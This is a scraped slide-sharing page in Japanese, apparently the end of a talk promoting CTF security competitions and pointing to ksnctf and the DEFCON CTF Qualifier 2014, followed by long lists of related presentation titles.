運用システムでも起こりうる脆弱性を
特徴を抽出して学べる
問題を解くには特定分野だけではなく
網羅的な知識が要求される
CTFを始めるには
ksnctf: http://ksnctf.sweetduet.info/ 
いつでも解ける問題掲載サイト
DEFCON CTF Qualifier 2014 
2014/05/17 - 05/19
ご清聴ありがとうございました

More Related Content

What's hot

CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料SECCON Beginners
 
組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門Norishige Fukushima
 
MCC CTF講習会 pwn編
MCC CTF講習会 pwn編MCC CTF講習会 pwn編
MCC CTF講習会 pwn編hama7230
 
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpsonickun
 
Kubernetesによる機械学習基盤への挑戦
Kubernetesによる機械学習基盤への挑戦Kubernetesによる機械学習基盤への挑戦
Kubernetesによる機械学習基盤への挑戦Preferred Networks
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)Shota Shinogi
 
CTF初心者🔰
CTF初心者🔰CTF初心者🔰
CTF初心者🔰icchy
 
機械学習で泣かないためのコード設計
機械学習で泣かないためのコード設計機械学習で泣かないためのコード設計
機械学習で泣かないためのコード設計Takahiro Kubo
 
Format string Attack
Format string AttackFormat string Attack
Format string Attackicchy
 
Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料
Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料
Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料Yusuke Uchida
 
TLS 1.3 と 0-RTT のこわ〜い話
TLS 1.3 と 0-RTT のこわ〜い話TLS 1.3 と 0-RTT のこわ〜い話
TLS 1.3 と 0-RTT のこわ〜い話Kazuho Oku
 
畳み込みニューラルネットワークの高精度化と高速化
畳み込みニューラルネットワークの高精度化と高速化畳み込みニューラルネットワークの高精度化と高速化
畳み込みニューラルネットワークの高精度化と高速化Yusuke Uchida
 
最近のDeep Learning (NLP) 界隈におけるAttention事情
最近のDeep Learning (NLP) 界隈におけるAttention事情最近のDeep Learning (NLP) 界隈におけるAttention事情
最近のDeep Learning (NLP) 界隈におけるAttention事情Yuta Kikuchi
 
最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング
最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング
最近のKaggleに学ぶテーブルデータの特徴量エンジニアリングmlm_kansai
 
敵対的サンプル・摂動サーベイ
敵対的サンプル・摂動サーベイ敵対的サンプル・摂動サーベイ
敵対的サンプル・摂動サーベイSimossyi Funabashi
 
モデル高速化百選
モデル高速化百選モデル高速化百選
モデル高速化百選Yusuke Uchida
 
モデルではなく、データセットを蒸留する
モデルではなく、データセットを蒸留するモデルではなく、データセットを蒸留する
モデルではなく、データセットを蒸留するTakahiro Kubo
 

What's hot (20)

TLS, HTTP/2演習
TLS, HTTP/2演習TLS, HTTP/2演習
TLS, HTTP/2演習
 
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
 
組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門組み込み関数(intrinsic)によるSIMD入門
組み込み関数(intrinsic)によるSIMD入門
 
MCC CTF講習会 pwn編
MCC CTF講習会 pwn編MCC CTF講習会 pwn編
MCC CTF講習会 pwn編
 
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjpRSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
 
Kubernetesによる機械学習基盤への挑戦
Kubernetesによる機械学習基盤への挑戦Kubernetesによる機械学習基盤への挑戦
Kubernetesによる機械学習基盤への挑戦
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
 
CTF初心者🔰
CTF初心者🔰CTF初心者🔰
CTF初心者🔰
 
機械学習で泣かないためのコード設計
機械学習で泣かないためのコード設計機械学習で泣かないためのコード設計
機械学習で泣かないためのコード設計
 
Format string Attack
Format string AttackFormat string Attack
Format string Attack
 
Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料
Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料
Swin Transformer (ICCV'21 Best Paper) を完璧に理解する資料
 
TLS 1.3 と 0-RTT のこわ〜い話
TLS 1.3 と 0-RTT のこわ〜い話TLS 1.3 と 0-RTT のこわ〜い話
TLS 1.3 と 0-RTT のこわ〜い話
 
畳み込みニューラルネットワークの高精度化と高速化
畳み込みニューラルネットワークの高精度化と高速化畳み込みニューラルネットワークの高精度化と高速化
畳み込みニューラルネットワークの高精度化と高速化
 
最近のDeep Learning (NLP) 界隈におけるAttention事情
最近のDeep Learning (NLP) 界隈におけるAttention事情最近のDeep Learning (NLP) 界隈におけるAttention事情
最近のDeep Learning (NLP) 界隈におけるAttention事情
 
最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング
最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング
最近のKaggleに学ぶテーブルデータの特徴量エンジニアリング
 
研究効率化Tips Ver.2
研究効率化Tips Ver.2研究効率化Tips Ver.2
研究効率化Tips Ver.2
 
敵対的サンプル・摂動サーベイ
敵対的サンプル・摂動サーベイ敵対的サンプル・摂動サーベイ
敵対的サンプル・摂動サーベイ
 
モデル高速化百選
モデル高速化百選モデル高速化百選
モデル高速化百選
 
Marp Tutorial
Marp TutorialMarp Tutorial
Marp Tutorial
 
モデルではなく、データセットを蒸留する
モデルではなく、データセットを蒸留するモデルではなく、データセットを蒸留する
モデルではなく、データセットを蒸留する
 

Viewers also liked

強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp
強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp
強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjpcocodrips
 
AtCoder Beginner Contest 012 解説
AtCoder Beginner Contest 012 解説AtCoder Beginner Contest 012 解説
AtCoder Beginner Contest 012 解説AtCoder Inc.
 
Using Raspberry Pi GPU for DNN
Using Raspberry Pi GPU for DNNUsing Raspberry Pi GPU for DNN
Using Raspberry Pi GPU for DNNnotogawa
 
TensorFlow XLAの可能性
TensorFlow XLAの可能性 TensorFlow XLAの可能性
TensorFlow XLAの可能性 Mr. Vengineer
 
モデルアーキテクチャ観点からのDeep Neural Network高速化
モデルアーキテクチャ観点からのDeep Neural Network高速化モデルアーキテクチャ観点からのDeep Neural Network高速化
モデルアーキテクチャ観点からのDeep Neural Network高速化Yusuke Uchida
 
競技プログラミングの楽しみ
競技プログラミングの楽しみ競技プログラミングの楽しみ
競技プログラミングの楽しみna_o_ys
 
20170721 future of reactive architectures
20170721 future of reactive architectures20170721 future of reactive architectures
20170721 future of reactive architecturesJamie Allen
 
DeNAの機械学習・深層学習活用した 体験提供の挑戦
DeNAの機械学習・深層学習活用した体験提供の挑戦DeNAの機械学習・深層学習活用した体験提供の挑戦
DeNAの機械学習・深層学習活用した 体験提供の挑戦Koichi Hamada
 
Deep Learning with GPUs in Production - AI By the Bay
Deep Learning with GPUs in Production - AI By the BayDeep Learning with GPUs in Production - AI By the Bay
Deep Learning with GPUs in Production - AI By the BayAdam Gibson
 
バイナリニューラルネットとハードウェアの関係
バイナリニューラルネットとハードウェアの関係バイナリニューラルネットとハードウェアの関係
バイナリニューラルネットとハードウェアの関係Kento Tajiri
 
OSS奨励賞受賞プレゼン 活動紹介
OSS奨励賞受賞プレゼン 活動紹介OSS奨励賞受賞プレゼン 活動紹介
OSS奨励賞受賞プレゼン 活動紹介Hiromu Yakura
 
ナウいAndroidセキュリティ
ナウいAndroidセキュリティナウいAndroidセキュリティ
ナウいAndroidセキュリティHiromu Yakura
 
新しいライブ映像再生システムを研究してみた
新しいライブ映像再生システムを研究してみた新しいライブ映像再生システムを研究してみた
新しいライブ映像再生システムを研究してみたHiromu Yakura
 
SEAndroid -AndroidのアーキテクチャとSE化について-
SEAndroid -AndroidのアーキテクチャとSE化について-SEAndroid -AndroidのアーキテクチャとSE化について-
SEAndroid -AndroidのアーキテクチャとSE化について-Hiromu Yakura
 
Arduinoでプログラミングに触れてみよう
Arduinoでプログラミングに触れてみようArduinoでプログラミングに触れてみよう
Arduinoでプログラミングに触れてみようHiromu Yakura
 
Why don't you learn programming?
Why don't you learn programming?Why don't you learn programming?
Why don't you learn programming?Hiromu Yakura
 

Viewers also liked (20)

強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp
強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp
強くなるためのプログラミング -プログラミングに関する様々なコンテストとそのはじめ方-#pyconjp
 
AtCoder Beginner Contest 012 解説
AtCoder Beginner Contest 012 解説AtCoder Beginner Contest 012 解説
AtCoder Beginner Contest 012 解説
 
Using Raspberry Pi GPU for DNN
Using Raspberry Pi GPU for DNNUsing Raspberry Pi GPU for DNN
Using Raspberry Pi GPU for DNN
 
TensorFlow XLAの可能性
TensorFlow XLAの可能性 TensorFlow XLAの可能性
TensorFlow XLAの可能性
 
モデルアーキテクチャ観点からのDeep Neural Network高速化
モデルアーキテクチャ観点からのDeep Neural Network高速化モデルアーキテクチャ観点からのDeep Neural Network高速化
モデルアーキテクチャ観点からのDeep Neural Network高速化
 
競技プログラミングの楽しみ
競技プログラミングの楽しみ競技プログラミングの楽しみ
競技プログラミングの楽しみ
 
20170721 future of reactive architectures
20170721 future of reactive architectures20170721 future of reactive architectures
20170721 future of reactive architectures
 
DeNAの機械学習・深層学習活用した 体験提供の挑戦
DeNAの機械学習・深層学習活用した体験提供の挑戦DeNAの機械学習・深層学習活用した体験提供の挑戦
DeNAの機械学習・深層学習活用した 体験提供の挑戦
 
Deep Learning with GPUs in Production - AI By the Bay
Deep Learning with GPUs in Production - AI By the BayDeep Learning with GPUs in Production - AI By the Bay
Deep Learning with GPUs in Production - AI By the Bay
 
バイナリニューラルネットとハードウェアの関係
バイナリニューラルネットとハードウェアの関係バイナリニューラルネットとハードウェアの関係
バイナリニューラルネットとハードウェアの関係
 
Arrow Judge
Arrow JudgeArrow Judge
Arrow Judge
 
OSS奨励賞受賞プレゼン 活動紹介
OSS奨励賞受賞プレゼン 活動紹介OSS奨励賞受賞プレゼン 活動紹介
OSS奨励賞受賞プレゼン 活動紹介
 
Nyarlathotep
NyarlathotepNyarlathotep
Nyarlathotep
 
検証、SEAndroid
検証、SEAndroid検証、SEAndroid
検証、SEAndroid
 
ナウいAndroidセキュリティ
ナウいAndroidセキュリティナウいAndroidセキュリティ
ナウいAndroidセキュリティ
 
ICTのちから
ICTのちからICTのちから
ICTのちから
 
新しいライブ映像再生システムを研究してみた
新しいライブ映像再生システムを研究してみた新しいライブ映像再生システムを研究してみた
新しいライブ映像再生システムを研究してみた
 
SEAndroid -AndroidのアーキテクチャとSE化について-
SEAndroid -AndroidのアーキテクチャとSE化について-SEAndroid -AndroidのアーキテクチャとSE化について-
SEAndroid -AndroidのアーキテクチャとSE化について-
 
Arduinoでプログラミングに触れてみよう
Arduinoでプログラミングに触れてみようArduinoでプログラミングに触れてみよう
Arduinoでプログラミングに触れてみよう
 
Why don't you learn programming?
Why don't you learn programming?Why don't you learn programming?
Why don't you learn programming?
 

More from Hiromu Yakura

Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...Hiromu Yakura
 
How to make good use of AI technologies? @ Tsukuba Conference 2021
How to make good use of AI technologies? @ Tsukuba Conference 2021How to make good use of AI technologies? @ Tsukuba Conference 2021
How to make good use of AI technologies? @ Tsukuba Conference 2021Hiromu Yakura
 
機械学習を"良く"使うには
機械学習を"良く"使うには機械学習を"良く"使うには
機械学習を"良く"使うにはHiromu Yakura
 
自己紹介@名状しがたいお茶会
自己紹介@名状しがたいお茶会自己紹介@名状しがたいお茶会
自己紹介@名状しがたいお茶会Hiromu Yakura
 
Python 3のWebシステムでDDDに入門してみた
Python 3のWebシステムでDDDに入門してみたPython 3のWebシステムでDDDに入門してみた
Python 3のWebシステムでDDDに入門してみたHiromu Yakura
 
Robust Audio Adversarial Example for a Physical Attack
Robust Audio Adversarial Example for a Physical AttackRobust Audio Adversarial Example for a Physical Attack
Robust Audio Adversarial Example for a Physical AttackHiromu Yakura
 
セキュリティ・キャンプのススメ
セキュリティ・キャンプのススメセキュリティ・キャンプのススメ
セキュリティ・キャンプのススメHiromu Yakura
 
GAME ON 特別イベント 「ゲームってなんでプログラミング?」
GAME ON 特別イベント 「ゲームってなんでプログラミング?」GAME ON 特別イベント 「ゲームってなんでプログラミング?」
GAME ON 特別イベント 「ゲームってなんでプログラミング?」Hiromu Yakura
 
Arduinoでプログラミングに触れてみよう 続編
Arduinoでプログラミングに触れてみよう 続編Arduinoでプログラミングに触れてみよう 続編
Arduinoでプログラミングに触れてみよう 続編Hiromu Yakura
 
機械学習コン講評
機械学習コン講評機械学習コン講評
機械学習コン講評Hiromu Yakura
 
NPCA夏合宿 2014 講義資料
NPCA夏合宿 2014 講義資料NPCA夏合宿 2014 講義資料
NPCA夏合宿 2014 講義資料Hiromu Yakura
 
イタリアでパスタを食べた話
イタリアでパスタを食べた話イタリアでパスタを食べた話
イタリアでパスタを食べた話Hiromu Yakura
 
CTF, What's in it for me?
CTF, What's in it for me?CTF, What's in it for me?
CTF, What's in it for me?Hiromu Yakura
 
Trendmicro Security Award 2012 Final Presentation
Trendmicro Security Award 2012 Final PresentationTrendmicro Security Award 2012 Final Presentation
Trendmicro Security Award 2012 Final PresentationHiromu Yakura
 
Androidにおける強制アクセス制御
Androidにおける強制アクセス制御Androidにおける強制アクセス制御
Androidにおける強制アクセス制御Hiromu Yakura
 

More from Hiromu Yakura (19)

Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
 
How to make good use of AI technologies? @ Tsukuba Conference 2021
How to make good use of AI technologies? @ Tsukuba Conference 2021How to make good use of AI technologies? @ Tsukuba Conference 2021
How to make good use of AI technologies? @ Tsukuba Conference 2021
 
機械学習を"良く"使うには
機械学習を"良く"使うには機械学習を"良く"使うには
機械学習を"良く"使うには
 
自己紹介@名状しがたいお茶会
自己紹介@名状しがたいお茶会自己紹介@名状しがたいお茶会
自己紹介@名状しがたいお茶会
 
Python 3のWebシステムでDDDに入門してみた
Python 3のWebシステムでDDDに入門してみたPython 3のWebシステムでDDDに入門してみた
Python 3のWebシステムでDDDに入門してみた
 
Robust Audio Adversarial Example for a Physical Attack
Robust Audio Adversarial Example for a Physical AttackRobust Audio Adversarial Example for a Physical Attack
Robust Audio Adversarial Example for a Physical Attack
 
セキュリティ・キャンプのススメ
セキュリティ・キャンプのススメセキュリティ・キャンプのススメ
セキュリティ・キャンプのススメ
 
GAME ON 特別イベント 「ゲームってなんでプログラミング?」
GAME ON 特別イベント 「ゲームってなんでプログラミング?」GAME ON 特別イベント 「ゲームってなんでプログラミング?」
GAME ON 特別イベント 「ゲームってなんでプログラミング?」
 
Arduinoでプログラミングに触れてみよう 続編
Arduinoでプログラミングに触れてみよう 続編Arduinoでプログラミングに触れてみよう 続編
Arduinoでプログラミングに触れてみよう 続編
 
機械学習コン講評
機械学習コン講評機械学習コン講評
機械学習コン講評
 
NPCA夏合宿 2014 講義資料
NPCA夏合宿 2014 講義資料NPCA夏合宿 2014 講義資料
NPCA夏合宿 2014 講義資料
 
イタリアでパスタを食べた話
イタリアでパスタを食べた話イタリアでパスタを食べた話
イタリアでパスタを食べた話
 
CTF, What's in it for me?
CTF, What's in it for me?CTF, What's in it for me?
CTF, What's in it for me?
 
ぃぬ速@LKML
ぃぬ速@LKMLぃぬ速@LKML
ぃぬ速@LKML
 
プラトン
プラトンプラトン
プラトン
 
How to lick Miku
How to lick MikuHow to lick Miku
How to lick Miku
 
Trendmicro Security Award 2012 Final Presentation
Trendmicro Security Award 2012 Final PresentationTrendmicro Security Award 2012 Final Presentation
Trendmicro Security Award 2012 Final Presentation
 
Androidにおける強制アクセス制御
Androidにおける強制アクセス制御Androidにおける強制アクセス制御
Androidにおける強制アクセス制御
 
ERASER
ERASERERASER
ERASER
 

CTFはとんでもないものを 盗んでいきました。私の時間です…